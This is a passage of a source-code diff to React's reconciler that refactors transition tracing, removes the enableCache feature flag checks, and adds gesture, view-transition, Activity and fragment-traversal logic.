--- a/packages/react-reconciler/src/ReactFiberTracingMarkerComponent.js
+++ b/packages/react-reconciler/src/ReactFiberTracingMarkerComponent.js
@@ -12,7 +12,8 @@ import type {
   Fiber,
   FiberRoot,
 } from './ReactInternalTypes';
-import type {OffscreenInstance} from './ReactFiberActivityComponent';
+import type {Transition} from 'react/src/ReactStartTransition';
+import type {OffscreenInstance} from './ReactFiberOffscreenComponent';
 import type {StackCursor} from './ReactFiberStack';
 
 import {enableTransitionTracing} from 'shared/ReactFeatureFlags';
@@ -36,19 +37,6 @@ export type PendingTransitionCallbacks = {
   markerComplete: Map<string, Set<Transition>> | null,
 };
 
-// TODO: Unclear to me why these are separate types
-export type Transition = {
-  name: string,
-  startTime: number,
-  ...
-};
-
-export type BatchConfigTransition = {
-  name?: string,
-  startTime?: number,
-  _updatedFibers?: Set<Fiber>,
-};
-
 // TODO: Is there a way to not include the tag or name here?
 export type TracingMarkerInstance = {
   tag?: TracingMarkerTag,
@@ -79,9 +67,11 @@ export function processTransitionCallbacks(
       const transitionStart = pendingTransitions.transitionStart;
       const onTransitionStart = callbacks.onTransitionStart;
       if (transitionStart !== null && onTransitionStart != null) {
-        transitionStart.forEach(transition =>
-          onTransitionStart(transition.name, transition.startTime),
-        );
+        transitionStart.forEach(transition => {
+          if (transition.name != null) {
+            onTransitionStart(transition.name, transition.startTime);
+          }
+        });
       }
 
       const markerProgress = pendingTransitions.markerProgress;
@@ -95,13 +85,15 @@ export function processTransitionCallbacks(
                 ? Array.from(markerInstance.pendingBoundaries.values())
                 : [];
             markerInstance.transitions.forEach(transition => {
-              onMarkerProgress(
-                transition.name,
-                markerName,
-                transition.startTime,
-                endTime,
-                pending,
-              );
+              if (transition.name != null) {
+                onMarkerProgress(
+                  transition.name,
+                  markerName,
+                  transition.startTime,
+                  endTime,
+                  pending,
+                );
+              }
             });
           }
         });
@@ -112,12 +104,14 @@ export function processTransitionCallbacks(
       if (markerComplete !== null && onMarkerComplete != null) {
         markerComplete.forEach((transitions, markerName) => {
           transitions.forEach(transition => {
-            onMarkerComplete(
-              transition.name,
-              markerName,
-              transition.startTime,
-              endTime,
-            );
+            if (transition.name != null) {
+              onMarkerComplete(
+                transition.name,
+                markerName,
+                transition.startTime,
+                endTime,
+              );
+            }
           });
         });
       }
@@ -153,12 +147,14 @@ export function processTransitionCallbacks(
             });
 
             if (filteredAborts.length > 0) {
-              onMarkerIncomplete(
-                transition.name,
-                markerName,
-                transition.startTime,
-                filteredAborts,
-              );
+              if (transition.name != null) {
+                onMarkerIncomplete(
+                  transition.name,
+                  markerName,
+                  transition.startTime,
+                  filteredAborts,
+                );
+              }
             }
           });
         });
@@ -168,21 +164,29 @@ export function processTransitionCallbacks(
       const onTransitionProgress = callbacks.onTransitionProgress;
       if (onTransitionProgress != null && transitionProgress !== null) {
         transitionProgress.forEach((pending, transition) => {
-          onTransitionProgress(
-            transition.name,
-            transition.startTime,
-            endTime,
-            Array.from(pending.values()),
-          );
+          if (transition.name != null) {
+            onTransitionProgress(
+              transition.name,
+              transition.startTime,
+              endTime,
+              Array.from(pending.values()),
+            );
+          }
         });
       }
 
       const transitionComplete = pendingTransitions.transitionComplete;
       const onTransitionComplete = callbacks.onTransitionComplete;
       if (transitionComplete !== null && onTransitionComplete != null) {
-        transitionComplete.forEach(transition =>
-          onTransitionComplete(transition.name, transition.startTime, endTime),
-        );
+        transitionComplete.forEach(transition => {
+          if (transition.name != null) {
+            onTransitionComplete(
+              transition.name,
+              transition.startTime,
+              endTime,
+            );
+          }
+        });
       }
     }
   }
diff --git a/packages/react-reconciler/src/ReactFiberTransition.js b/packages/react-reconciler/src/ReactFiberTransition.js
index c378beee30d3..180a09b3659f 100644
--- a/packages/react-reconciler/src/ReactFiberTransition.js
+++ b/packages/react-reconciler/src/ReactFiberTransition.js
@@ -7,34 +7,51 @@
  * @flow
  */
 import type {Fiber, FiberRoot} from './ReactInternalTypes';
-import type {Thenable} from 'shared/ReactTypes';
-import type {Lanes} from './ReactFiberLane';
+import type {
+  Thenable,
+  GestureProvider,
+  GestureOptions,
+} from 'shared/ReactTypes';
+import {NoLane, type Lanes} from './ReactFiberLane';
 import type {StackCursor} from './ReactFiberStack';
 import type {Cache, SpawnedCachePool} from './ReactFiberCacheComponent';
-import type {
-  BatchConfigTransition,
-  Transition,
-} from './ReactFiberTracingMarkerComponent';
+import type {Transition} from 'react/src/ReactStartTransition';
+import type {ScheduledGesture} from './ReactFiberGestureScheduler';
 
 import {
-  enableCache,
   enableTransitionTracing,
-  enableAsyncActions,
+  enableViewTransition,
+  enableGestureTransition,
 } from 'shared/ReactFeatureFlags';
 import {isPrimaryRenderer} from './ReactFiberConfig';
 import {createCursor, push, pop} from './ReactFiberStack';
 import {
   getWorkInProgressRoot,
   getWorkInProgressTransitions,
+  markTransitionStarted,
 } from './ReactFiberWorkLoop';
 import {
   createCache,
   retainCache,
   CacheContext,
 } from './ReactFiberCacheComponent';
+import {
+  queueTransitionTypes,
+  entangleAsyncTransitionTypes,
+  entangledTransitionTypes,
+} from './ReactFiberTransitionTypes';
 
 import ReactSharedInternals from 'shared/ReactSharedInternals';
-import {entangleAsyncAction} from './ReactFiberAsyncAction';
+import {
+  entangleAsyncAction,
+  peekEntangledActionLane,
+} from './ReactFiberAsyncAction';
+import {startAsyncTransitionTimer} from './ReactProfilerTimer';
+import {firstScheduledRoot} from './ReactFiberRootScheduler';
+import {
+  startScheduledGesture,
+  cancelScheduledGesture,
+} from './ReactFiberGestureScheduler';
 
 export const NoTransition = null;
 
@@ -60,25 +77,119 @@ export const NoTransition = null;
 // reconciler. Leaving this for a future PR.
 const prevOnStartTransitionFinish = ReactSharedInternals.S;
 ReactSharedInternals.S = function onStartTransitionFinishForReconciler(
-  transition: BatchConfigTransition,
+  transition: Transition,
   returnValue: mixed,
 ) {
+  markTransitionStarted();
   if (
-    enableAsyncActions &&
     typeof returnValue === 'object' &&
     returnValue !== null &&
     typeof returnValue.then === 'function'
   ) {
+    // If we're going to wait on some async work before scheduling an update.
+    // We mark the time so we can later log how long we were blocked on the Action.
+    // Ideally, we'd include the sync part of the action too but since that starts
+    // in isomorphic code it currently leads to tricky layering. We'd have to pass
+    // in performance.now() to this callback but we sometimes use a polyfill.
+    startAsyncTransitionTimer();
+
     // This is an async action
     const thenable: Thenable<mixed> = (returnValue: any);
     entangleAsyncAction(transition, thenable);
   }
+  if (enableViewTransition) {
+    if (entangledTransitionTypes !== null) {
+      // If we scheduled work on any new roots, we need to add any entangled async
+      // transition types to those roots too.
+      let root = firstScheduledRoot;
+      while (root !== null) {
+        queueTransitionTypes(root, entangledTransitionTypes);
+        root = root.next;
+      }
+    }
+    const transitionTypes = transition.types;
+    if (transitionTypes !== null) {
+      // Within this Transition we should've now scheduled any roots we have updates
+      // to work on. If there are no updates on a root, then the Transition type won't
+      // be applied to that root.
+      let root = firstScheduledRoot;
+      while (root !== null) {
+        queueTransitionTypes(root, transitionTypes);
+        root = root.next;
+      }
+      if (peekEntangledActionLane() !== NoLane) {
+        // If we have entangled, async actions going on, the update associated with
+        // these types might come later. We need to save them for later.
+        entangleAsyncTransitionTypes(transitionTypes);
+      }
+    }
+  }
   if (prevOnStartTransitionFinish !== null) {
     prevOnStartTransitionFinish(transition, returnValue);
   }
 };
 
-export function requestCurrentTransition(): BatchConfigTransition | null {
+function chainGestureCancellation(
+  root: FiberRoot,
+  scheduledGesture: ScheduledGesture,
+  prevCancel: null | (() => void),
+): () => void {
+  return function cancelGesture(): void {
+    if (scheduledGesture !== null) {
+      cancelScheduledGesture(root, scheduledGesture);
+    }
+    if (prevCancel !== null) {
+      prevCancel();
+    }
+  };
+}
+
+if (enableGestureTransition) {
+  const prevOnStartGestureTransitionFinish = ReactSharedInternals.G;
+  ReactSharedInternals.G = function onStartGestureTransitionFinishForReconciler(
+    transition: Transition,
+    provider: GestureProvider,
+    options: ?GestureOptions,
+  ): () => void {
+    let cancel = null;
+    if (prevOnStartGestureTransitionFinish !== null) {
+      cancel = prevOnStartGestureTransitionFinish(
+        transition,
+        provider,
+        options,
+      );
+    }
+    // For every root that has work scheduled, check if there's a ScheduledGesture
+    // matching this provider and if so, increase its ref count so its retained by
+    // this cancellation callback. We could add the roots to a temporary array as
+    // we schedule them inside the callback to keep track of them. There's a slight
+    // nuance here which is that if there's more than one root scheduled with the
+    // same provider, but it doesn't update in this callback, then we still update
+    // its options and retain it until this cancellation releases. The idea being
+    // that it's conceptually started globally.
+    let root = firstScheduledRoot;
+    while (root !== null) {
+      const scheduledGesture = startScheduledGesture(
+        root,
+        provider,
+        options,
+        transition.types,
+      );
+      if (scheduledGesture !== null) {
+        cancel = chainGestureCancellation(root, scheduledGesture, cancel);
+      }
+      root = root.next;
+    }
+    if (cancel !== null) {
+      return cancel;
+    }
+    return function cancelGesture(): void {
+      // Nothing was scheduled but it could've been scheduled by another renderer.
+    };
+  };
+}
+
+export function requestCurrentTransition(): Transition | null {
   return ReactSharedInternals.T;
 }
 
@@ -95,10 +206,6 @@ const transitionStack: StackCursor<Array<Transition> | null> =
   createCursor(null);
 
 function peekCacheFromPool(): Cache | null {
-  if (!enableCache) {
-    return (null: any);
-  }
-
   // Check if the cache pool already has a cache we can use.
 
   // If we're rendering inside a Suspense boundary that is currently hidden,
@@ -170,12 +277,10 @@ export function pushTransition(
   prevCachePool: SpawnedCachePool | null,
   newTransitions: Array<Transition> | null,
 ): void {
-  if (enableCache) {
-    if (prevCachePool === null) {
-      push(resumedCache, resumedCache.current, offscreenWorkInProgress);
-    } else {
-      push(resumedCache, prevCachePool.pool, offscreenWorkInProgress);
-    }
+  if (prevCachePool === null) {
+    push(resumedCache, resumedCache.current, offscreenWorkInProgress);
+  } else {
+    push(resumedCache, prevCachePool.pool, offscreenWorkInProgress);
   }
 
   if (enableTransitionTracing) {
@@ -199,9 +304,7 @@ export function popTransition(workInProgress: Fiber, current: Fiber | null) {
       pop(transitionStack, workInProgress);
     }
 
-    if (enableCache) {
-      pop(resumedCache, workInProgress);
-    }
+    pop(resumedCache, workInProgress);
   }
 }
 
@@ -214,9 +317,6 @@ export function getPendingTransitions(): Array<Transition> | null {
 }
 
 export function getSuspendedCache(): SpawnedCachePool | null {
-  if (!enableCache) {
-    return null;
-  }
   // This function is called when a Suspense boundary suspends. It returns the
   // cache that would have been used to render fresh data during this render,
   // if there was any, so that we can resume rendering with the same cache when
@@ -237,10 +337,6 @@ export function getSuspendedCache(): SpawnedCachePool | null {
 }
 
 export function getOffscreenDeferredCache(): SpawnedCachePool | null {
-  if (!enableCache) {
-    return null;
-  }
-
   const cacheFromPool = peekCacheFromPool();
   if (cacheFromPool === null) {
     return null;
diff --git a/packages/react-reconciler/src/ReactFiberTransitionTypes.js b/packages/react-reconciler/src/ReactFiberTransitionTypes.js
new file mode 100644
index 000000000000..95233a1341da
--- /dev/null
+++ b/packages/react-reconciler/src/ReactFiberTransitionTypes.js
@@ -0,0 +1,70 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {FiberRoot} from './ReactInternalTypes';
+import type {TransitionTypes} from 'react/src/ReactTransitionType';
+
+import {enableViewTransition} from 'shared/ReactFeatureFlags';
+import {includesTransitionLane} from './ReactFiberLane';
+
+export function queueTransitionTypes(
+  root: FiberRoot,
+  transitionTypes: TransitionTypes,
+): void {
+  if (enableViewTransition) {
+    // TODO: We should really store transitionTypes per lane in a LaneMap on
+    // the root. Then merge it when we commit. We currently assume that all
+    // Transitions are entangled.
+    if (includesTransitionLane(root.pendingLanes)) {
+      let queued = root.transitionTypes;
+      if (queued === null) {
+        queued = root.transitionTypes = [];
+      }
+      for (let i = 0; i < transitionTypes.length; i++) {
+        const transitionType = transitionTypes[i];
+        if (queued.indexOf(transitionType) === -1) {
+          queued.push(transitionType);
+        }
+      }
+    }
+  }
+}
+
+// Store all types while we're entangled with an async Transition.
+export let entangledTransitionTypes: null | TransitionTypes = null;
+
+export function entangleAsyncTransitionTypes(
+  transitionTypes: TransitionTypes,
+): void {
+  if (enableViewTransition) {
+    let queued = entangledTransitionTypes;
+    if (queued === null) {
+      queued = entangledTransitionTypes = [];
+    }
+    for (let i = 0; i < transitionTypes.length; i++) {
+      const transitionType = transitionTypes[i];
+      if (queued.indexOf(transitionType) === -1) {
+        queued.push(transitionType);
+      }
+    }
+  }
+}
+
+export function clearEntangledAsyncTransitionTypes() {
+  // Called when all Async Actions are done.
+  entangledTransitionTypes = null;
+}
+
+export function claimQueuedTransitionTypes(
+  root: FiberRoot,
+): null | TransitionTypes {
+  const claimed = root.transitionTypes;
+  root.transitionTypes = null;
+  return claimed;
+}
diff --git a/packages/react-reconciler/src/ReactFiberTreeReflection.js b/packages/react-reconciler/src/ReactFiberTreeReflection.js
index e0199108693e..8b4c52b4ea2d 100644
--- a/packages/react-reconciler/src/ReactFiberTreeReflection.js
+++ b/packages/react-reconciler/src/ReactFiberTreeReflection.js
@@ -8,46 +8,50 @@
  */
 
 import type {Fiber} from './ReactInternalTypes';
-import type {Container, SuspenseInstance} from './ReactFiberConfig';
+import type {
+  Container,
+  ActivityInstance,
+  SuspenseInstance,
+} from './ReactFiberConfig';
+import type {ActivityState} from './ReactFiberActivityComponent';
 import type {SuspenseState} from './ReactFiberSuspenseComponent';
 
-import {get as getInstance} from 'shared/ReactInstanceMap';
-import getComponentNameFromFiber from 'react-reconciler/src/getComponentNameFromFiber';
 import {
-  ClassComponent,
   HostComponent,
   HostHoistable,
   HostSingleton,
   HostRoot,
   HostPortal,
   HostText,
+  ActivityComponent,
   SuspenseComponent,
+  OffscreenComponent,
+  Fragment,
 } from './ReactWorkTags';
 import {NoFlags, Placement, Hydrating} from './ReactFiberFlags';
-import {current as currentOwner, isRendering} from './ReactCurrentFiber';
+import {enableFragmentRefsTextNodes} from 'shared/ReactFeatureFlags';
 
 export function getNearestMountedFiber(fiber: Fiber): null | Fiber {
   let node = fiber;
   let nearestMounted: null | Fiber = fiber;
-  if (!fiber.alternate) {
-    // If there is no alternate, this might be a new tree that isn't inserted
-    // yet. If it is, then it will have a pending insertion effect on it.
-    let nextNode: Fiber = node;
-    do {
-      node = nextNode;
-      if ((node.flags & (Placement | Hydrating)) !== NoFlags) {
-        // This is an insertion or in-progress hydration. The nearest possible
-        // mounted fiber is the parent but we need to continue to figure out
-        // if that one is still mounted.
-        nearestMounted = node.return;
-      }
-      // $FlowFixMe[incompatible-type] we bail out when we get a null
-      nextNode = node.return;
-    } while (nextNode);
-  } else {
-    while (node.return) {
-      node = node.return;
+  // If there is no alternate, this might be a new tree that isn't inserted
+  // yet. If it is, then it will have a pending insertion effect on it.
+  let nextNode: Fiber = node;
+  while (nextNode && !nextNode.alternate) {
+    node = nextNode;
+    if ((node.flags & (Placement | Hydrating)) !== NoFlags) {
+      // This is an insertion or in-progress hydration. The nearest possible
+      // mounted fiber is the parent but we need to continue to figure out
+      // if that one is still mounted.
+      nearestMounted = node.return;
     }
+    // $FlowFixMe[incompatible-type] we bail out when we get a null
+    nextNode = node.return;
+  }
+  // After we've reached an alternate, go the rest of the way to see if the
+  // tree is still mounted. If it's not, its return pointer will be disconnected.
+  while (node.return) {
+    node = node.return;
   }
   if (node.tag === HostRoot) {
     // TODO: Check if this was a nested HostRoot when used with
@@ -77,41 +81,29 @@ export function getSuspenseInstanceFromFiber(
   return null;
 }
 
-export function getContainerFromFiber(fiber: Fiber): null | Container {
-  return fiber.tag === HostRoot
-    ? (fiber.stateNode.containerInfo: Container)
-    : null;
-}
-
-export function isFiberMounted(fiber: Fiber): boolean {
-  return getNearestMountedFiber(fiber) === fiber;
-}
-
-export function isMounted(component: React$Component<any, any>): boolean {
-  if (__DEV__) {
-    const owner = currentOwner;
-    if (owner !== null && isRendering && owner.tag === ClassComponent) {
-      const ownerFiber: Fiber = owner;
-      const instance = ownerFiber.stateNode;
-      if (!instance._warnedAboutRefsInRender) {
-        console.error(
-          '%s is accessing isMounted inside its render() function. ' +
-            'render() should be a pure function of props and state. It should ' +
-            'never access something that requires stale data from the previous ' +
-            'render, such as refs. Move this logic to componentDidMount and ' +
-            'componentDidUpdate instead.',
-          getComponentNameFromFiber(ownerFiber) || 'A component',
-        );
+export function getActivityInstanceFromFiber(
+  fiber: Fiber,
+): null | ActivityInstance {
+  if (fiber.tag === ActivityComponent) {
+    let activityState: ActivityState | null = fiber.memoizedState;
+    if (activityState === null) {
+      const current = fiber.alternate;
+      if (current !== null) {
+        activityState = current.memoizedState;
       }
-      instance._warnedAboutRefsInRender = true;
+    }
+    if (activityState !== null) {
+      return activityState.dehydrated;
     }
   }
+  // TODO: Implement this on ActivityComponent.
+  return null;
+}
 
-  const fiber: ?Fiber = getInstance(component);
-  if (!fiber) {
-    return false;
-  }
-  return getNearestMountedFiber(fiber) === fiber;
+export function getContainerFromFiber(fiber: Fiber): null | Container {
+  return fiber.tag === HostRoot
+    ? (fiber.stateNode.containerInfo: Container)
+    : null;
 }
 
 function assertIsMounted(fiber: Fiber) {
@@ -352,3 +344,346 @@ export function doesFiberContain(
   }
   return false;
 }
+
+export function traverseFragmentInstance<A, B, C>(
+  fragmentFiber: Fiber,
+  fn: (Fiber, A, B, C) => boolean,
+  a: A,
+  b: B,
+  c: C,
+): void {
+  traverseVisibleHostChildren(fragmentFiber.child, false, fn, a, b, c);
+}
+
+export function traverseFragmentInstanceDeeply<A, B, C>(
+  fragmentFiber: Fiber,
+  fn: (Fiber, A, B, C) => boolean,
+  a: A,
+  b: B,
+  c: C,
+): void {
+  traverseVisibleHostChildren(fragmentFiber.child, true, fn, a, b, c);
+}
+
+function traverseVisibleHostChildren<A, B, C>(
+  child: Fiber | null,
+  searchWithinHosts: boolean,
+  fn: (Fiber, A, B, C) => boolean,
+  a: A,
+  b: B,
+  c: C,
+): boolean {
+  while (child !== null) {
+    const isHostNode =
+      child.tag === HostComponent ||
+      (enableFragmentRefsTextNodes && child.tag === HostText);
+    if (isHostNode && fn(child, a, b, c)) {
+      return true;
+    } else if (
+      child.tag === OffscreenComponent &&
+      child.memoizedState !== null
+    ) {
+      // Skip hidden subtrees
+    } else {
+      if (
+        (searchWithinHosts || child.tag !== HostComponent) &&
+        traverseVisibleHostChildren(child.child, searchWithinHosts, fn, a, b, c)
+      ) {
+        return true;
+      }
+    }
+    child = child.sibling;
+  }
+  return false;
+}
+
+export function getFragmentParentHostFiber(fiber: Fiber): null | Fiber {
+  let parent = fiber.return;
+  while (parent !== null) {
+    if (parent.tag === HostRoot || parent.tag === HostComponent) {
+      return parent;
+    }
+    parent = parent.return;
+  }
+
+  return null;
+}
+
+export function fiberIsPortaledIntoHost(fiber: Fiber): boolean {
+  let foundPortalParent = false;
+  let parent = fiber.return;
+  while (parent !== null) {
+    if (parent.tag === HostPortal) {
+      foundPortalParent = true;
+    }
+    if (parent.tag === HostRoot || parent.tag === HostComponent) {
+      break;
+    }
+    parent = parent.return;
+  }
+  return foundPortalParent;
+}
+
+export function getFragmentInstanceSiblings(
+  fiber: Fiber,
+): [Fiber | null, Fiber | null] {
+  const result: [Fiber | null, Fiber | null] = [null, null];
+  const parentHostFiber = getFragmentParentHostFiber(fiber);
+  if (parentHostFiber === null) {
+    return result;
+  }
+
+  findFragmentInstanceSiblings(result, fiber, parentHostFiber.child);
+  return result;
+}
+
+function findFragmentInstanceSiblings(
+  result: [Fiber | null, Fiber | null],
+  self: Fiber,
+  child: null | Fiber,
+  foundSelf: boolean = false,
+): boolean {
+  while (child !== null) {
+    if (child === self) {
+      foundSelf = true;
+      if (child.sibling) {
+        child = child.sibling;
+      } else {
+        return true;
+      }
+    }
+    if (child.tag === HostComponent) {
+      if (foundSelf) {
+        result[1] = child;
+        return true;
+      } else {
+        result[0] = child;
+      }
+    } else if (
+      child.tag === OffscreenComponent &&
+      child.memoizedState !== null
+    ) {
+      // Skip hidden subtrees
+    } else {
+      if (findFragmentInstanceSiblings(result, self, child.child, foundSelf)) {
+        return true;
+      }
+    }
+    child = child.sibling;
+  }
+  return false;
+}
+
+export function getInstanceFromHostFiber<I>(fiber: Fiber): I {
+  switch (fiber.tag) {
+    case HostComponent:
+    case HostText:
+      return fiber.stateNode;
+    case HostRoot:
+      return fiber.stateNode.containerInfo;
+    default:
+      throw new Error('Expected to find a host node. This is a bug in React.');
+  }
+}
+
+let searchTarget = null;
+let searchBoundary = null;
+function pushSearchTarget(target: null | Fiber): void {
+  searchTarget = target;
+}
+function popSearchTarget(): null | Fiber {
+  return searchTarget;
+}
+function pushSearchBoundary(value: null | Fiber): void {
+  searchBoundary = value;
+}
+function popSearchBoundary(): null | Fiber {
+  return searchBoundary;
+}
+
+export function getNextSiblingHostFiber(fiber: Fiber): null | Fiber {
+  traverseVisibleHostChildren(fiber.sibling, false, findNextSibling);
+  const sibling = popSearchTarget();
+  pushSearchTarget(null);
+  return sibling;
+}
+
+function findNextSibling(child: Fiber): boolean {
+  pushSearchTarget(child);
+  return true;
+}
+
+export function isFiberContainedByFragment(
+  fiber: Fiber,
+  fragmentFiber: Fiber,
+): boolean {
+  let current: Fiber | null = fiber;
+  while (current !== null) {
+    if (
+      current.tag === Fragment &&
+      (current === fragmentFiber || current.alternate === fragmentFiber)
+    ) {
+      return true;
+    }
+    current = current.return;
+  }
+  return false;
+}
+
+export function isFragmentContainedByFiber(
+  fragmentFiber: Fiber,
+  otherFiber: Fiber,
+): boolean {
+  let current: Fiber | null = fragmentFiber;
+  const fiberHostParent: Fiber | null =
+    getFragmentParentHostFiber(fragmentFiber);
+  while (current !== null) {
+    if (
+      (current.tag === HostComponent || current.tag === HostRoot) &&
+      (current === fiberHostParent || current.alternate === fiberHostParent)
+    ) {
+      return true;
+    }
+    current = current.return;
+  }
+  return false;
+}
+
+export function isFiberPreceding(fiber: Fiber, otherFiber: Fiber): boolean {
+  const commonAncestor = getLowestCommonAncestor(
+    fiber,
+    otherFiber,
+    getParentForFragmentAncestors,
+  );
+  if (commonAncestor === null) {
+    return false;
+  }
+  traverseVisibleHostChildren(
+    commonAncestor,
+    true,
+    isFiberPrecedingCheck,
+    otherFiber,
+    fiber,
+  );
+  const target = popSearchTarget();
+  pushSearchTarget(null);
+  return target !== null;
+}
+
+function isFiberPrecedingCheck(
+  child: Fiber,
+  target: Fiber,
+  boundary: Fiber,
+): boolean {
+  if (child === boundary) {
+    return true;
+  }
+  if (child === target) {
+    pushSearchTarget(child);
+    return true;
+  }
+  return false;
+}
+
+export function isFiberFollowing(fiber: Fiber, otherFiber: Fiber): boolean {
+  const commonAncestor = getLowestCommonAncestor(
+    fiber,
+    otherFiber,
+    getParentForFragmentAncestors,
+  );
+  if (commonAncestor === null) {
+    return false;
+  }
+  traverseVisibleHostChildren(
+    commonAncestor,
+    true,
+    isFiberFollowingCheck,
+    otherFiber,
+    fiber,
+  );
+  const target = popSearchTarget();
+  pushSearchTarget(null);
+  pushSearchBoundary(null);
+  return target !== null;
+}
+
+function isFiberFollowingCheck(
+  child: Fiber,
+  target: Fiber,
+  boundary: Fiber,
+): boolean {
+  if (child === boundary) {
+    pushSearchBoundary(child);
+    return false;
+  }
+  if (child === target) {
+    // The target is only following if we already found the boundary.
+    if (popSearchBoundary() !== null) {
+      pushSearchTarget(child);
+    }
+    return true;
+  }
+  return false;
+}
+
+function getParentForFragmentAncestors(inst: Fiber | null): Fiber | null {
+  if (inst === null) {
+    return null;
+  }
+  do {
+    inst = inst === null ? null : inst.return;
+  } while (
+    inst &&
+    inst.tag !== HostComponent &&
+    inst.tag !== HostSingleton &&
+    inst.tag !== HostRoot
+  );
+  if (inst) {
+    return inst;
+  }
+  return null;
+}
+
+/**
+ * Return the lowest common ancestor of A and B, or null if they are in
+ * different trees.
+ */
+export function getLowestCommonAncestor(
+  instA: Fiber,
+  instB: Fiber,
+  getParent: (inst: Fiber | null) => Fiber | null,
+): Fiber | null {
+  let nodeA: null | Fiber = instA;
+  let nodeB: null | Fiber = instB;
+  let depthA = 0;
+  for (let tempA: null | Fiber = nodeA; tempA; tempA = getParent(tempA)) {
+    depthA++;
+  }
+  let depthB = 0;
+  for (let tempB: null | Fiber = nodeB; tempB; tempB = getParent(tempB)) {
+    depthB++;
+  }
+
+  // If A is deeper, crawl up.
+  while (depthA - depthB > 0) {
+    nodeA = getParent(nodeA);
+    depthA--;
+  }
+
+  // If B is deeper, crawl up.
+  while (depthB - depthA > 0) {
+    nodeB = getParent(nodeB);
+    depthB--;
+  }
+
+  // Walk in lockstep until we find a match.
+  let depth = depthA;
+  while (depth--) {
+    if (nodeA === nodeB || (nodeB !== null && nodeA === nodeB.alternate)) {
+      return nodeA;
+    }
+    nodeA = getParent(nodeA);
+    nodeB = getParent(nodeB);
+  }
+  return null;
+}
diff --git a/packages/react-reconciler/src/ReactFiberUnwindWork.js b/packages/react-reconciler/src/ReactFiberUnwindWork.js
index cc77647cb855..b2954c41f5a0 100644
--- a/packages/react-reconciler/src/ReactFiberUnwindWork.js
+++ b/packages/react-reconciler/src/ReactFiberUnwindWork.js
@@ -10,7 +10,11 @@
 import type {ReactContext} from 'shared/ReactTypes';
 import type {Fiber, FiberRoot} from './ReactInternalTypes';
 import type {Lanes} from './ReactFiberLane';
-import type {SuspenseState} from './ReactFiberSuspenseComponent';
+import type {ActivityState} from './ReactFiberActivityComponent';
+import type {
+  SuspenseState,
+  SuspenseListRenderState,
+} from './ReactFiberSuspenseComponent';
 import type {Cache} from './ReactFiberCacheComponent';
 import type {TracingMarkerInstance} from './ReactFiberTracingMarkerComponent';
 
@@ -22,6 +26,7 @@ import {
   HostSingleton,
   HostPortal,
   ContextProvider,
+  ActivityComponent,
   SuspenseComponent,
   SuspenseListComponent,
   OffscreenComponent,
@@ -29,13 +34,11 @@ import {
   CacheComponent,
   TracingMarkerComponent,
 } from './ReactWorkTags';
-import {DidCapture, NoFlags, ShouldCapture} from './ReactFiberFlags';
+import {DidCapture, NoFlags, ShouldCapture, Update} from './ReactFiberFlags';
 import {NoMode, ProfileMode} from './ReactTypeOfMode';
 import {
   enableProfilerTimer,
-  enableCache,
   enableTransitionTracing,
-  enableRenderableContext,
 } from 'shared/ReactFeatureFlags';
 
 import {popHostContainer, popHostContext} from './ReactFiberHostContext';
@@ -49,7 +52,7 @@ import {
   isContextProvider as isLegacyContextProvider,
   popContext as popLegacyContext,
   popTopLevelContextObject as popTopLevelLegacyContextObject,
-} from './ReactFiberContext';
+} from './ReactFiberLegacyContext';
 import {popProvider} from './ReactFiberNewContext';
 import {popCacheProvider} from './ReactFiberCacheComponent';
 import {transferActualDuration} from './ReactProfilerTimer';
@@ -91,10 +94,8 @@ function unwindWork(
     }
     case HostRoot: {
       const root: FiberRoot = workInProgress.stateNode;
-      if (enableCache) {
-        const cache: Cache = workInProgress.memoizedState.cache;
-        popCacheProvider(workInProgress, cache);
-      }
+      const cache: Cache = workInProgress.memoizedState.cache;
+      popCacheProvider(workInProgress, cache);
 
       if (enableTransitionTracing) {
         popRootMarkerInstance(workInProgress);
@@ -123,6 +124,35 @@ function unwindWork(
       popHostContext(workInProgress);
       return null;
     }
+    case ActivityComponent: {
+      const activityState: null | ActivityState = workInProgress.memoizedState;
+      if (activityState !== null) {
+        popSuspenseHandler(workInProgress);
+
+        if (workInProgress.alternate === null) {
+          throw new Error(
+            'Threw in newly mounted dehydrated component. This is likely a bug in ' +
+              'React. Please file an issue.',
+          );
+        }
+
+        resetHydrationState();
+      }
+
+      const flags = workInProgress.flags;
+      if (flags & ShouldCapture) {
+        workInProgress.flags = (flags & ~ShouldCapture) | DidCapture;
+        // Captured a suspense effect. Re-render the boundary.
+        if (
+          enableProfilerTimer &&
+          (workInProgress.mode & ProfileMode) !== NoMode
+        ) {
+          transferActualDuration(workInProgress);
+        }
+        return workInProgress;
+      }
+      return null;
+    }
     case SuspenseComponent: {
       popSuspenseHandler(workInProgress);
       const suspenseState: null | SuspenseState = workInProgress.memoizedState;
@@ -153,20 +183,34 @@ function unwindWork(
     }
     case SuspenseListComponent: {
       popSuspenseListContext(workInProgress);
-      // SuspenseList doesn't actually catch anything. It should've been
+      // SuspenseList doesn't normally catch anything. It should've been
       // caught by a nested boundary. If not, it should bubble through.
+      const flags = workInProgress.flags;
+      if (flags & ShouldCapture) {
+        workInProgress.flags = (flags & ~ShouldCapture) | DidCapture;
+        // If we caught something on the SuspenseList itself it's because
+        // we want to ignore something. Re-enter the cycle and handle it
+        // in the complete phase.
+        const renderState: null | SuspenseListRenderState =
+          workInProgress.memoizedState;
+        if (renderState !== null) {
+          // Cut off any remaining tail work and don't commit the rendering one.
+          // This assumes that we have already confirmed that none of these are
+          // already mounted.
+          renderState.rendering = null;
+          renderState.tail = null;
+        }
+        // Schedule the commit phase to attach retry listeners.
+        workInProgress.flags |= Update;
+        return workInProgress;
+      }
       return null;
     }
     case HostPortal:
       popHostContainer(workInProgress);
       return null;
     case ContextProvider:
-      let context: ReactContext<any>;
-      if (enableRenderableContext) {
-        context = workInProgress.type;
-      } else {
-        context = workInProgress.type._context;
-      }
+      const context: ReactContext<any> = workInProgress.type;
       popProvider(context, workInProgress);
       return null;
     case OffscreenComponent:
@@ -189,10 +233,8 @@ function unwindWork(
       return null;
     }
     case CacheComponent:
-      if (enableCache) {
-        const cache: Cache = workInProgress.memoizedState.cache;
-        popCacheProvider(workInProgress, cache);
-      }
+      const cache: Cache = workInProgress.memoizedState.cache;
+      popCacheProvider(workInProgress, cache);
       return null;
     case TracingMarkerComponent:
       if (enableTransitionTracing) {
@@ -226,10 +268,8 @@ function unwindInterruptedWork(
     }
     case HostRoot: {
       const root: FiberRoot = interruptedWork.stateNode;
-      if (enableCache) {
